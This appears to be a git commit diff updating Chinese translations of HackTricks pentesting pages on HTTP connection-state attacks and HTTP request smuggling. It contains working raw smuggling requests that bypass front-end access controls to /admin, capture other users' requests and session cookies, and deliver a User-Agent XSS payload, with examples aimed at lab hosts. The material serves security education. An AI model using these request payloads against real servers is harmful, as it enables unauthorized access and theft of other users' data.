mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
This commit is contained in:
parent
d2d4870f07
commit
7d9c808106
5 changed files with 412 additions and 182 deletions
BIN
.gitbook/assets/image (729).png
Normal file
BIN
.gitbook/assets/image (729).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 492 KiB |
|
@ -2,24 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中被宣传**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
**这是一篇文章的摘要 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
**这是文章** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks) **的摘要**
|
||||
|
||||
## 连接状态攻击 <a href="#state" id="state"></a>
|
||||
|
||||
### 首次请求验证
|
||||
|
||||
在路由请求时,反向代理可能依赖于**Host头部**来确定目标后端服务器,通常依赖于允许访问的主机的白名单。然而,在一些代理中存在漏洞,其中白名单仅在连接的初始请求上执行。因此,攻击者可以利用这一点,首先向允许的主机发出请求,然后通过同一连接请求内部站点:
|
||||
```text
|
||||
在路由请求时,反向代理可能依赖于**Host头部**来确定目标后端服务器,通常依赖于允许访问的主机的白名单。然而,在某些代理中存在漏洞,其中白名单仅在连接的初始请求上执行。因此,攻击者可以利用这一点,首先向允许的主机发出请求,然后通过同一连接请求内部站点:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: [allowed-external-host]
|
||||
|
||||
|
@ -28,29 +28,28 @@ Host: [internal-host]
|
|||
```
|
||||
### 第一个请求路由
|
||||
|
||||
在某些配置中,前端服务器可能会使用第一个请求的**主机头**来确定该请求的后端路由,然后持续将同一客户端连接的所有后续请求路由到同一后端连接。这可以演示为:
|
||||
```text
|
||||
在某些配置中,前端服务器可能会使用第一个请求的**主机头**来确定该请求的后端路由,然后将来自同一客户端连接的所有后续请求持续路由到同一后端连接。这可以演示为:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
POST /pwreset HTTP/1.1
|
||||
Host: psres.net
|
||||
```
|
||||
这个问题可能与[主机头攻击](https://portswigger.net/web-security/host-header)相结合,比如密码重置污染或[Web缓存污染](https://portswigger.net/web-security/web-cache-poisoning),以利用其他漏洞或未经授权访问其他虚拟主机。
|
||||
这个问题可能与[主机头攻击](https://portswigger.net/web-security/host-header),如密码重置污染或[Web缓存污染](https://portswigger.net/web-security/web-cache-poisoning)相结合,以利用其他漏洞或未经授权访问其他虚拟主机。
|
||||
|
||||
{% hint style="info" %}
|
||||
要识别这些漏洞,可以利用HTTP请求劫持器中的'connection-state probe'功能。
|
||||
{% endhint %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中被广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中被宣传**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注我** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,14 +10,14 @@
|
|||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR** 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 什么是
|
||||
|
||||
当**前端代理**和**后端**服务器之间的**不同步**允许**攻击者**发送一个 HTTP **请求**,该请求将被**前端代理**(负载平衡/反向代理)解释为**单个请求**,而被**后端**服务器解释为**2个请求**时,就会出现此漏洞。\
|
||||
这使得用户能够在**他之后到达后端服务器的下一个请求**上进行修改。
|
||||
当**前端代理**和**后端**服务器之间的**不同步**允许**攻击者**发送一个 HTTP **请求**,该请求将被**前端**代理(负载平衡/反向代理)解释为**单个请求**,而被**后端**服务器解释为**2个请求**时,就会出现此漏洞。\
|
||||
这使得用户能够在**他之后到达后端服务器的下一个请求**中**修改请求**。
|
||||
|
||||
### 理论
|
||||
|
||||
|
@ -37,20 +37,20 @@
|
|||
### 现实情况
|
||||
|
||||
**前端**(负载平衡 / 反向代理)处理 _**content-length**_ 或 _**transfer-encoding**_ 头,而**后端**服务器处理另一个头,导致这两个系统之间的**不同步**。\
|
||||
这可能非常危险,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器解释为**2个不同的请求**。这种技术的危险在于**后端**服务器将会将**注入的第二个请求**解释为来自**下一个客户端**,而该客户端的**真实请求**将成为**注入请求**的一部分。
|
||||
这可能非常危险,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器解释为**2个不同的请求**。这种技术的危险在于**后端**服务器将解释**注入的第二个请求**,好像它**来自下一个客户端**,而该客户端的**真实请求**将成为**注入请求**的一部分。
|
||||
|
||||
### 特殊情况
|
||||
|
||||
请记住,在 HTTP 中,**一个新行字符由 2 个字节组成**:
|
||||
|
||||
* **Content-Length**: 此头使用**十进制数**来指示请求主体的**字节数**。预期请求主体在最后一个字符结束,**在请求的末尾不需要新行**。
|
||||
* **Transfer-Encoding:** 此头在**主体**中使用**十六进制数**来指示**下一个块**的**字节数**。**块**必须以**新行**结尾,但是这个新行**不计入**长度指示符。此传输方法必须以**大小为 0 的块后跟 2 个新行**结束:`0`
|
||||
* **Connection**: 根据我的经验,建议在请求串行的第一个请求中使用 **`Connection: keep-alive`**。
|
||||
* **Content-Length**:此头使用**十进制数**来指示请求**主体**的**字节数**。预期请求主体在最后一个字符结束,**请求的末尾不需要新行**。
|
||||
* **Transfer-Encoding:**:此头在**主体**中使用**十六进制数**来指示**下一个块**的**字节数**。**块**必须以**新行**结尾,但是**长度指示符不计算**这个新行。此传输方法必须以**大小为 0 的块后跟 2 个新行**结束:`0`
|
||||
* **Connection**:根据我的经验,建议在请求串行的第一个请求中使用**`Connection: keep-alive`**。
|
||||
|
||||
## 基本示例
|
||||
|
||||
{% hint style="success" %}
|
||||
在使用 Burp Suite 尝试利用此漏洞时,**在重复器中禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为一些小工具会滥用换行符、回车和格式不正确的 content-lengths。
|
||||
尝试使用 Burp Suite 利用此漏洞时,**在重复器中禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为一些小工具会滥用换行符、回车和格式不正确的 content-length。
|
||||
{% endhint %}
|
||||
|
||||
HTTP 请求串行攻击是通过发送模糊请求来制造的,利用前端和后端服务器解释 `Content-Length`(CL)和 `Transfer-Encoding`(TE)头的差异。这些攻击可以以不同形式出现,主要为 **CL.TE**、**TE.CL** 和 **TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外且可能恶意的结果。
|
||||
|
@ -61,13 +61,13 @@ HTTP 请求串行攻击是通过发送模糊请求来制造的,利用前端和
|
|||
|
||||
#### CL.TE 漏洞(前端使用 Content-Length,后端使用 Transfer-Encoding)
|
||||
|
||||
* **前端(CL):** 根据 `Content-Length` 头处理请求。
|
||||
* **后端(TE):** 根据 `Transfer-Encoding` 头处理请求。
|
||||
* **攻击场景:**
|
||||
* **前端(CL):** 根据 `Content-Length` 头处理请求。
|
||||
* **后端(TE):** 根据 `Transfer-Encoding` 头处理请求。
|
||||
* **攻击场景:**
|
||||
* 攻击者发送一个请求,其中 `Content-Length` 头的值与实际内容长度不匹配。
|
||||
* 前端服务器根据 `Content-Length` 值将整个请求转发给后端。
|
||||
* 后端服务器由于 `Transfer-Encoding: chunked` 头处理请求为分块,将剩余数据解释为一个单独的、随后的请求。
|
||||
* **示例:**
|
||||
* 后端服务器由于 `Transfer-Encoding: chunked` 头处理请求为分块,将剩余数据解释为单独的、随后的请求。
|
||||
* **示例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
@ -84,13 +84,13 @@ Foo: x
|
|||
|
||||
#### TE.CL 漏洞(前端使用 Transfer-Encoding,后端使用 Content-Length)
|
||||
|
||||
* **前端(TE):** 根据 `Transfer-Encoding` 头处理请求。
|
||||
* **后端(CL):** 根据 `Content-Length` 头处理请求。
|
||||
* **攻击场景:**
|
||||
* **前端(TE):** 根据 `Transfer-Encoding` 头处理请求。
|
||||
* **后端(CL):** 根据 `Content-Length` 头处理请求。
|
||||
* **攻击场景:**
|
||||
* 攻击者发送一个分块请求,其中块大小(`7b`)和实际内容长度(`Content-Length: 4`)不对齐。
|
||||
* 前端服务器根据 `Transfer-Encoding` 转发整个请求给后端。
|
||||
* 后端服务器根据 `Content-Length` 处理请求,仅处理请求的初始部分(`7b` 字节),将其余部分作为意外的随后请求的一部分。
|
||||
* **示例:**
|
||||
* 前端服务器遵循 `Transfer-Encoding`,将整个请求转发给后端。
|
||||
* 后端服务器遵循 `Content-Length`,仅处理请求的初始部分(`7b` 字节),将其余部分作为意外的随后请求的一部分。
|
||||
* **示例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
@ -109,14 +109,14 @@ x=
|
|||
0
|
||||
|
||||
```
|
||||
#### TE.TE漏洞(前端和后端都使用的传输编码,带有混淆)
|
||||
#### TE.TE漏洞(前端和后端都使用的传输编码,通过混淆)
|
||||
|
||||
- **服务器:** 两者都支持`Transfer-Encoding`,但可以通过混淆来欺骗其中一个。
|
||||
- **攻击场景:**
|
||||
- 攻击者发送带有混淆的`Transfer-Encoding`头的请求。
|
||||
- 取决于哪个服务器(前端或后端)无法识别混淆,可能会利用CL.TE或TE.CL漏洞。
|
||||
- 请求的未处理部分,由其中一个服务器看到,将成为后续请求的一部分,导致走私。
|
||||
- **示例:**
|
||||
* **服务器:** 两者都支持`Transfer-Encoding`,但可以通过混淆来欺骗其中一个服务器忽略它。
|
||||
* **攻击场景:**
|
||||
* 攻击者发送带有混淆的`Transfer-Encoding`头的请求。
|
||||
* 取决于哪个服务器(前端或后端)无法识别混淆,可能会利用CL.TE或TE.CL漏洞。
|
||||
* 请求的未处理部分,由其中一个服务器看到,成为后续请求的一部分,导致走私。
|
||||
* **示例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
@ -137,9 +137,9 @@ Transfer-Encoding
|
|||
|
||||
#### **CL.CL场景(前端和后端都使用的内容长度):**
|
||||
|
||||
- 两个服务器仅基于`Content-Length`头处理请求。
|
||||
- 通常,此场景不会导致走私,因为两个服务器在解释请求长度方面是一致的。
|
||||
- **示例:**
|
||||
* 两个服务器仅基于`Content-Length`头处理请求。
|
||||
* 通常,此场景不会导致走私,因为两个服务器在解释请求长度方面存在一致性。
|
||||
* **示例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
@ -152,9 +152,9 @@ Connection: keep-alive
|
|||
|
||||
#### **CL != 0场景:**
|
||||
|
||||
- 指的是`Content-Length`头存在且值不为零的情况,表明请求正文具有内容。
|
||||
- 在理解和构建走私攻击时至关重要,因为它影响服务器如何确定请求的结束。
|
||||
- **示例:**
|
||||
* 指的是`Content-Length`头存在且值不为零的情况,表明请求正文具有内容。
|
||||
* 在理解和构建走私攻击时至关重要,因为它影响服务器如何确定请求的结束。
|
||||
* **示例:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
@ -173,7 +173,7 @@ Connection: Content-Length
|
|||
```
|
||||
## 寻找HTTP请求串行漏洞
|
||||
|
||||
通常可以使用时间技术来识别HTTP请求串行漏洞,这依赖于观察服务器对操纵请求的响应时间。这些技术对于检测CL.TE和TE.CL漏洞特别有用。除了这些方法外,还有其他策略和工具可用于查找此类漏洞:
|
||||
通常可以使用时间技术来识别HTTP请求串行漏洞,这些技术依赖于观察服务器对操纵请求的响应时间。这些技术特别适用于检测CL.TE和TE.CL漏洞。除了这些方法外,还有其他策略和工具可用于查找此类漏洞:
|
||||
|
||||
### 使用时间技术查找CL.TE漏洞
|
||||
|
||||
|
@ -194,10 +194,10 @@ A
|
|||
```
|
||||
* **观察:**
|
||||
* 前端服务器根据`Content-Length`处理请求,并过早截断消息。
|
||||
* 后端服务器期望收到一个分块消息,等待下一个从未到达的分块,导致延迟。
|
||||
* 后端服务器期望接收分块消息,等待下一个从未到达的分块,导致延迟。
|
||||
* **指标:**
|
||||
* 响应超时或长时间延迟。
|
||||
* 从后端服务器收到400 Bad Request错误,有时包含详细的服务器信息。
|
||||
* 从后端服务器接收到400 Bad Request错误,有时包含详细的服务器信息。
|
||||
|
||||
### 使用时间技术查找TE.CL漏洞
|
||||
|
||||
|
@ -217,9 +217,9 @@ X
|
|||
```
|
||||
* **观察:**
|
||||
* 前端服务器根据`Transfer-Encoding`处理请求并转发整个消息。
|
||||
* 后端服务器期望根据`Content-Length`接收消息,等待从未到达的额外数据,导致延迟。
|
||||
* 后端服务器期望基于`Content-Length`的消息,等待从未到达的额外数据,导致延迟。
|
||||
|
||||
### 其他查找漏洞的方法
|
||||
### 查找漏洞的其他方法
|
||||
|
||||
* **差异响应分析:**
|
||||
* 发送略有变化的请求版本,并观察服务器响应是否以意外方式不同,指示解析差异。
|
||||
|
@ -228,29 +228,29 @@ X
|
|||
* **Content-Length变化测试:**
|
||||
* 发送具有不与实际内容长度对齐的不同`Content-Length`值的请求,并观察服务器如何处理这种不匹配。
|
||||
* **Transfer-Encoding变化测试:**
|
||||
* 发送具有混淆或格式错误的`Transfer-Encoding`头的请求,并监视前端和后端服务器对这种操纵的不同响应方式。
|
||||
* 发送具有混淆或格式不正确的`Transfer-Encoding`头的请求,并监视前端和后端服务器对这种操纵的不同响应方式。
|
||||
|
||||
### HTTP请求串行漏洞测试
|
||||
|
||||
在确认时间技术的有效性后,验证客户端请求是否可以被操纵至关重要。一种简单的方法是尝试操纵您的请求,例如,使对`/`的请求产生404响应。在[基本示例](./#basic-examples)中先前讨论的`CL.TE`和`TE.CL`示例演示了如何操纵客户端请求以引发404响应,尽管客户端的目标是访问不同的资源。
|
||||
确认时间技术的有效性后,验证客户端请求是否可被操纵至关重要。一种简单的方法是尝试操纵您的请求,例如,使对`/`的请求产生404响应。在[基本示例](./#basic-examples)中先前讨论的`CL.TE`和`TE.CL`示例演示了如何操纵客户端请求以引发404响应,尽管客户端的目标是访问不同的资源。
|
||||
|
||||
**关键考虑事项**
|
||||
|
||||
在通过干扰其他请求测试请求串行漏洞时,请注意:
|
||||
|
||||
* **不同的网络连接:** “攻击”和“正常”请求应通过不同的网络连接发送。在两者上使用相同连接不会验证漏洞的存在。
|
||||
* **一致的URL和参数:** 务必使用相同的URL和参数名称发送两个请求。现代应用程序通常根据URL和参数将请求路由到特定的后端服务器。匹配这些增加了两个请求由同一服务器处理的可能性,这是成功攻击的先决条件。
|
||||
* **时间和竞争条件:** “正常”请求旨在检测来自“攻击”请求的干扰,与其他并发应用程序请求竞争。因此,应立即在“攻击”请求之后发送“正常”请求。繁忙的应用程序可能需要多次尝试才能确认漏洞。
|
||||
* **负载平衡挑战:** 充当负载平衡器的前端服务器可能会将请求分发到各种后端系统。如果“攻击”和“正常”请求最终进入不同的系统,攻击将不会成功。这种负载平衡方面可能需要多次尝试才能确认漏洞。
|
||||
* **不同的网络连接:** “攻击”和“正常”请求应通过不同的网络连接发送。使用相同连接发送两者不会验证漏洞的存在。
|
||||
* **一致的URL和参数:** 务必为两个请求使用相同的URL和参数名称。现代应用程序通常根据URL和参数将请求路由到特定的后端服务器。匹配这些内容增加了两个请求由同一服务器处理的可能性,这是成功攻击的先决条件。
|
||||
* **时间和竞争条件:** “正常”请求旨在检测来自“攻击”请求的干扰,与其他并发应用程序请求竞争。因此,应立即在“攻击”请求之后发送“正常”请求。繁忙的应用程序可能需要多次尝试才能得出结论性的漏洞确认。
|
||||
* **负载均衡挑战:** 充当负载均衡器的前端服务器可能会将请求分发到各种后端系统。如果“攻击”和“正常”请求最终进入不同的系统,攻击将不会成功。这种负载均衡方面可能需要多次尝试才能确认漏洞。
|
||||
* **意外用户影响:** 如果您的攻击意外影响了另一个用户的请求(而不是您发送用于检测的“正常”请求),这表明您的攻击影响了另一个应用程序用户。持续测试可能会干扰其他用户,需要谨慎处理。
|
||||
|
||||
## 滥用HTTP请求串行漏洞
|
||||
|
||||
### 绕过前端安全控制
|
||||
### 通过HTTP请求串行绕过前端安全
|
||||
|
||||
有时,前端代理会实施安全措施,审查传入请求。然而,通过利用HTTP请求串行漏洞,可以绕过这些措施,从而未经授权地访问受限端点。例如,外部可能禁止访问`/admin`,前端代理会主动阻止此类尝试。然而,该代理可能忽略了串行HTTP请求中嵌入的请求,为绕过这些限制留下了漏洞。
|
||||
有时,前端代理会实施安全措施,审查传入请求。然而,通过利用HTTP请求串行漏洞,可以绕过这些措施,从而未经授权地访问受限端点。例如,外部可能禁止访问`/admin`,前端代理会主动阻止此类尝试。然而,该代理可能忽略检查串行HTTP请求中的嵌入式请求,为绕过这些限制留下漏洞。
|
||||
|
||||
考虑以下示例,说明如何使用HTTP请求串行漏洞绕过前端安全控制,特别是针对通常由前端代理保护的`/admin`路径:
|
||||
以下示例说明了如何使用HTTP请求串行漏洞绕过前端安全控制,特别是针对通常由前端代理保护的`/admin`路径:
|
||||
|
||||
**CL.TE示例**
|
||||
```
|
||||
|
@ -269,7 +269,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
在 CL.TE 攻击中,利用 `Content-Length` 头部进行初始请求,而后续嵌入的请求利用 `Transfer-Encoding: chunked` 头部。前端代理处理初始的 `POST` 请求,但未检查嵌入的 `GET /admin` 请求,从而允许未经授权访问 `/admin` 路径。
|
||||
在 CL.TE 攻击中,利用 `Content-Length` 头部进行初始请求,而后续嵌入的请求则利用 `Transfer-Encoding: chunked` 头部。前端代理处理初始的 `POST` 请求,但未检查嵌入的 `GET /admin` 请求,从而允许未经授权访问 `/admin` 路径。
|
||||
|
||||
**TE.CL 示例**
|
||||
```
|
||||
|
@ -287,13 +287,13 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
相反,在TE.CL攻击中,初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续嵌入的请求则根据`Content-Length`头进行处理。与CL.TE攻击类似,前端代理忽略了被夹带的`GET /admin`请求,无意中授予对受限`/admin`路径的访问权限。
|
||||
相反,在TE.CL攻击中,初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续嵌入的请求则基于`Content-Length`头进行处理。与CL.TE攻击类似,前端代理忽略了被夹带的`GET /admin`请求,无意中授予对受限`/admin`路径的访问权限。
|
||||
|
||||
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
应用程序通常使用**前端服务器**在将请求传递给后端服务器之前修改传入请求。典型的修改包括添加头部,例如`X-Forwarded-For: <客户端的IP>`,以将客户端的IP传递给后端。了解这些修改可能至关重要,因为这可能揭示绕过保护措施或发现隐藏信息或端点的方法。
|
||||
|
||||
要调查代理如何修改请求,请找到后端在响应中回显的POST参数。然后,类似以下方式,构造一个请求,将此参数放在最后:
|
||||
要调查代理如何修改请求,请查找后端在响应中回显的POST参数。然后,制作一个请求,将此参数放在最后,类似于以下内容:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -312,17 +312,15 @@ search=
|
|||
```
|
||||
在这种结构中,后续请求组件被附加在`search=`之后,该参数在响应中反映出来。这种反射将暴露出后续请求的标头。
|
||||
|
||||
重要的是要将嵌套请求的`Content-Length`标头与实际内容长度对齐。建议从一个小值开始逐渐增加,因为值过低将截断反射数据,而值过高可能会导致请求出错。
|
||||
重要的是要将嵌套请求的`Content-Length`标头与实际内容长度对齐。从一个小值开始逐渐增加是明智的,因为值过低将截断反映的数据,而值过高可能会导致请求出错。
|
||||
|
||||
这种技术也适用于TE.CL漏洞,但请求应以`search=\r\n0`结束。无论换行符如何,这些值都将附加到搜索参数。
|
||||
这种技术也适用于TE.CL漏洞,但请求应以`search=\r\n0`结束。无论换行符如何,这些值都将附加到搜索参数上。
|
||||
|
||||
这种方法主要用于了解前端代理所做的请求修改,实质上是执行自我导向的调查。
|
||||
这种方法主要用于了解前端代理所做的请求修改,实质上是进行自我导向的调查。
|
||||
|
||||
### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
通过将特定请求附加为参数值来捕获下一个用户的请求是可行的。在POST操作期间,可以通过以下方式实现这一点:
|
||||
|
||||
通过将以下请求附加为参数值,您可以存储后续客户端的请求:
|
||||
通过在POST操作期间将特定请求附加为参数的值,可以捕获下一个用户的请求。以下是如何实现这一点的方式:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
|
@ -342,11 +340,11 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
在这种情况下,**comment参数**旨在存储公开页面上帖子评论部分中的内容。因此,随后请求的内容将显示为评论。
|
||||
在这种情况下,**comment参数**旨在存储公开页面上帖子评论部分的内容。因此,随后请求的内容将显示为评论。
|
||||
|
||||
然而,这种技术有局限性。通常,它仅捕获直到被用于伪造请求的参数分隔符为止的数据。对于URL编码的表单提交,这个分隔符是`&`字符。这意味着从受害用户请求中捕获的内容将在第一个`&`处停止,甚至可能是查询字符串的一部分。
|
||||
|
||||
此外,值得注意的是,这种方法在存在TE.CL漏洞时也是可行的。在这种情况下,请求应以`search=\r\n0`结尾。无论换行符是什么,值都将附加到搜索参数上。
|
||||
此外,值得注意的是,这种方法在存在TE.CL漏洞的情况下也是可行的。在这种情况下,请求应以`search=\r\n0`结尾。无论换行符是什么,值都将附加到搜索参数上。
|
||||
|
||||
### 利用HTTP请求走私来利用反射型XSS
|
||||
|
||||
|
@ -355,7 +353,7 @@ HTTP请求走私可用于利用易受**反射型XSS**攻击的网页,提供重
|
|||
* **无需与目标用户交互**。
|
||||
* 允许利用通常**无法获取**的请求部分中的XSS,如HTTP请求头。
|
||||
|
||||
在网站容易受到通过用户代理标头进行反射型XSS攻击的情况下,以下有效载荷演示了如何利用这种漏洞:
|
||||
在网站易受User-Agent头部反射型XSS攻击的情况下,以下有效载荷演示了如何利用这一漏洞:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
|
@ -376,19 +374,17 @@ Content-Type: application/x-www-form-urlencoded
|
|||
|
||||
A=
|
||||
```
|
||||
这个有效载荷的结构旨在利用漏洞:
|
||||
这个 payload 的结构用于利用漏洞:
|
||||
|
||||
1. 发起一个`POST`请求,看似典型,带有`Transfer-Encoding: chunked`头部,表示开始进行走私。
|
||||
2. 接着是一个`0`,标记分块消息体的结束。
|
||||
3. 然后引入一个走私的`GET`请求,其中`User-Agent`头部被注入了一个脚本`<script>alert(1)</script>`,当服务器处理这个后续请求时触发了XSS。
|
||||
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头部,表示开始进行走私。
|
||||
2. 接着是一个 `0`,标记分块消息体的结束。
|
||||
3. 然后引入一个走私的 `GET` 请求,其中 `User-Agent` 头部被注入一个脚本 `<script>alert(1)</script>`,当服务器处理这个后续请求时触发 XSS。
|
||||
|
||||
通过走私方式操纵`User-Agent`,有效载荷绕过了正常请求的限制,从而以非标准但有效的方式利用了反射型XSS漏洞。
|
||||
通过在走私过程中操纵 `User-Agent`,payload 能够绕过正常的请求限制,从而以非标准但有效的方式利用反射型 XSS 漏洞。
|
||||
|
||||
### 利用HTTP请求走私将站内重定向变成开放重定向 <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
### 利用 HTTP 请求走私进行站内重定向 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
### 利用HTTP请求走私来利用站内重定向 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
应用程序通常通过在重定向URL中使用`Host`头部中的主机名来从一个URL重定向到另一个URL。这在像Apache和IIS这样的Web服务器中很常见。例如,请求一个没有尾随斜杠的文件夹会导致重定向以包含斜杠:
|
||||
应用程序通常通过在重定向 URL 中使用 `Host` 头部中的主机名来从一个 URL 重定向到另一个 URL。这在像 Apache 和 IIS 这样的 Web 服务器中很常见。例如,请求一个没有尾随斜杠的文件夹会导致重定向以包含斜杠:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
@ -398,7 +394,7 @@ Host: normal-website.com
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
尽管看似无害,但这种行为可以通过HTTP请求走私来操纵,将用户重定向到外部网站。例如:
|
||||
虽然看似无害,但这种行为可以通过HTTP请求走私来操纵,将用户重定向到外部网站。例如:
|
||||
```
|
||||
